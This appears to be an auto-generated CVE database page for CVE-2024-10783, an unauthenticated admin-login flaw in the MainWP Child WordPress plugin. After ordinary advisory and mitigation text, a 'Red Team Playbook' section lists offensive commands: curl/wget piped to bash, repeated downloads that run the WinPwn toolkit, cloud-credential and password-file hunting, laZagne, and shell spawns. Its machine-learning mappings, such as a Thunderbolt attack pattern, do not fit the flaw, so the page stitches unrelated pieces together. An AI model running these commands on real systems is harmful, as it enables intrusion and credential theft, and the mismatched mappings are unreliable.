CVE-2024-10783
Overview
This vulnerability is a privilege escalation caused by missing authorization checks in the MainWP Child plugin's register_site function. The flaw exists in the code handling site registration when the plugin is in an unconfigured state, specifically affecting versions up to and including 5.2. The absence of proper access control on this function allows unauthorized users to execute administrative actions.
Vulnerability Description
The MainWP Child – Securely Connects to the MainWP Dashboard to Manage Multiple Sites plugin for WordPress is vulnerable to privilege escalation due to a missing authorization checks on the register_site function in all versions up to, and including, 5.2 when a site is left in an unconfigured state. This makes it possible for unauthenticated attackers to log in as an administrator on instances where MainWP Child is not yet connected to the MainWP Dashboard. IMPORTANT: this only affects sites who have MainWP Child installed and have not yet connected to the MainWP Dashboard, and do not have the unique security ID feature enabled. Sites already connected to the MainWP Dashboard plugin and do not have the unique security ID feature enabled, are NOT affected and not required to upgrade. Please note versions up to 5.3.3 contained a patch, though a bypass was discovered and not addressed until version 5.3.4.
Impact
An unauthenticated attacker can exploit this vulnerability to log in as an administrator on WordPress sites running MainWP Child that are not yet connected to the MainWP Dashboard and lack the unique security ID feature. This enables full administrative control over the affected site, including potential data manipulation or further compromise. The attack requires network access but no authentication or user interaction, as indicated by the CVSS vector (AV:N/AC:H/PR:N/UI:N). Sites already connected or with the unique security ID enabled are not impacted.
Solution
Users should upgrade the MainWP Child plugin to version 5.3.4 or later, where the authorization bypass is fully fixed. Earlier patches up to 5.3.3 are insufficient due to a bypass. Detailed patch information and instructions are available from the vendor's advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/9156e536-a58e-4d78-b136-af8a9613ee23. Enabling the unique security ID feature also mitigates the risk for sites not yet connected to the MainWP Dashboard.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the MainWP Child plugin for WordPress arises from inadequate authorization checks within the register_site function. This flaw allows unauthenticated attackers to gain administrative access to a WordPress site that has the plugin installed but is not yet configured to connect to the MainWP Dashboard. Specifically, when a site remains in an unconfigured state, the absence of proper security measures enables unauthorized users to exploit this weakness. The issue is particularly concerning as it affects all versions of the plugin up to and including version 5.2, which increases the attack surface for potential exploitation.
Attack vectors for this vulnerability are straightforward, as they primarily involve the exploitation of the unconfigured state of the plugin. An attacker could leverage automated scripts or manual attempts to register a site without any prior authentication. This scenario is particularly risky for new installations of the MainWP Child plugin, where the site owner may not have completed the necessary configurations to secure their environment. Once an attacker successfully registers the site, they can gain full administrative privileges, allowing them to manipulate site content, install malicious plugins, or even exfiltrate sensitive user data. The implications of such unauthorized access can be severe, especially if the compromised site handles sensitive information or is part of a larger network of interconnected sites.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on the MainWP Child plugin to manage multiple WordPress sites. Organizations that fail to address this issue may face reputational damage, financial loss, and legal repercussions stemming from data breaches or unauthorized access incidents. The risk is compounded for businesses in regulated industries, where compliance with data protection laws is critical. An attacker gaining administrative access could lead to the manipulation of data, unauthorized transactions, or even the installation of backdoors for future exploitation. Therefore, the business risk associated with this vulnerability is not just technical but also financial and reputational.
To detect this vulnerability, site administrators should regularly audit their WordPress installations, focusing on the configuration state of the MainWP Child plugin. Monitoring logs for unusual activity, such as unauthorized registration attempts or changes made by unknown users, can also provide early warning signs of exploitation. Additionally, employing security plugins that can scan for known vulnerabilities and misconfigurations can help in identifying at-risk installations.
Mitigation strategies include promptly upgrading to the latest version of the MainWP Child plugin, which contains critical patches to address this vulnerability. For sites that are not yet connected to the MainWP Dashboard, it is advisable to disable the plugin until proper configurations are in place. Furthermore, enabling the unique security ID feature can add an additional layer of protection, making it more difficult for attackers to exploit the vulnerability. Overall, maintaining a proactive security posture through regular updates, configuration reviews, and monitoring can significantly reduce the risk associated with this and similar vulnerabilities.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.